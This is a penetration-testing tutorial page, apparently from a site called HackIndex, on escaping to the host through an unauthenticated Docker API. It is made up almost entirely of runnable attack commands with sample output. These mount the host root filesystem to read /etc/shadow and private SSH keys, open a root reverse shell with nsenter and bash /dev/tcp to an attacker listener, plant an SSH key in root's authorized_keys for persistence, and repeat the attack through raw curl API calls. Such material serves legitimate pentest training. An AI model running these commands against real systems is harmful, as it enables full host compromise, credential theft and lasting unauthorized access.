Skip to content
HackIndex logo

HackIndex

Docker API Container Escape

3 min read Apr 4, 2026

Unauthenticated Docker API access enables launching a new container with the host filesystem mounted inside it. Since the Docker daemon runs as root, the new container has full read-write access to every file on the host. Combining this with nsenter — a tool for entering Linux namespaces — produces a root shell on the host system outside any container boundary. This is the primary exploitation path for exposed Docker API and consistently appears on HTB machines and real-world engagements. Confirm unauthenticated access through unauthenticated access assessment first.

Method 1 — Mount Host Filesystem and Read Sensitive Files

Start a container with the host root filesystem mounted at /host. Use any image already present on the target to avoid a slow pull:

┌──(kali㉿kali)-[~]
└─$ export DOCKER_HOST=tcp://$TARGET_IP:2375
┌──(kali㉿kali)-[~]
└─$ # Use an image already on the host
┌──(kali㉿kali)-[~]
└─$ docker images --format '{{.Repository}}:{{.Tag}}' | head -3
nginx:latest
mysql:8.0
ubuntu:22.04
┌──(kali㉿kali)-[~]
└─$ docker run -it --rm -v /:/host ubuntu:22.04 chroot /host bash
root@a1b2c3d4e5f6:/#

The chroot /host makes the container session behave as if it is running directly on the host filesystem. You now have a root shell on the host. Read /etc/shadow, SSH keys, and any other sensitive files:

┌──(kali㉿kali)-[~]
└─$ docker run --rm -v /:/host ubuntu:22.04 chroot /host cat /etc/shadow
root:$6$abc123$hashedpassword:19000:0:99999:7:::
┌──(kali㉿kali)-[~]
└─$ docker run --rm -v /:/host ubuntu:22.04 chroot /host cat /root/.ssh/id_rsa 2>/dev/null
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXk...

Method 2 — Get a Reverse Shell on the Host with nsenter

nsenter enters the PID 1 namespace on the host — stepping fully outside any container isolation:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ docker run -it --rm --privileged --pid=host ubuntu:22.04 \
nsenter -t 1 -m -u -i -n -p -- \
bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

--pid=host shares the host PID namespace with the container. nsenter -t 1 enters all namespaces of PID 1 (the host init process). The resulting shell is running on the host with full root privileges, not inside any container.

Method 3 — Write SSH Key to Host

Plant an SSH public key in root's authorized_keys for persistent access without a reverse shell:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f /tmp/docker_key -N '' -q
┌──(kali㉿kali)-[~]
└─$ docker run --rm -v /:/host ubuntu:22.04 \
bash -c "mkdir -p /host/root/.ssh && echo '$(cat /tmp/docker_key.pub)' >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys"
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/docker_key root@$TARGET_IP
root@docker-host-01:~#

Method 4 — Via the REST API Without the Docker CLI

When the docker CLI is not available on the attack machine, perform the same attack using raw API calls:

┌──(kali㉿kali)-[~]
└─$ # Create a container with host filesystem mounted
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:2375/containers/create \
-H 'Content-Type: application/json' \
-d '{"Image":"ubuntu:22.04","Cmd":["/bin/bash","-c","cat /host/etc/shadow"],"Binds":["/:/host"],"HostConfig":{"Binds":["/:/host"]}}' | python3 -m json.tool | grep '"Id"'
"Id": "c1d2e3f4a5b6..."
┌──(kali㉿kali)-[~]
└─$ CID=c1d2e3f4a5b6
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:2375/containers/$CID/start
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:2375/containers/$CID/wait
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:2375/containers/$CID/logs?stdout=1" | strings
root:$6$abc123$hashedpassword:19000:0:99999:7:::

References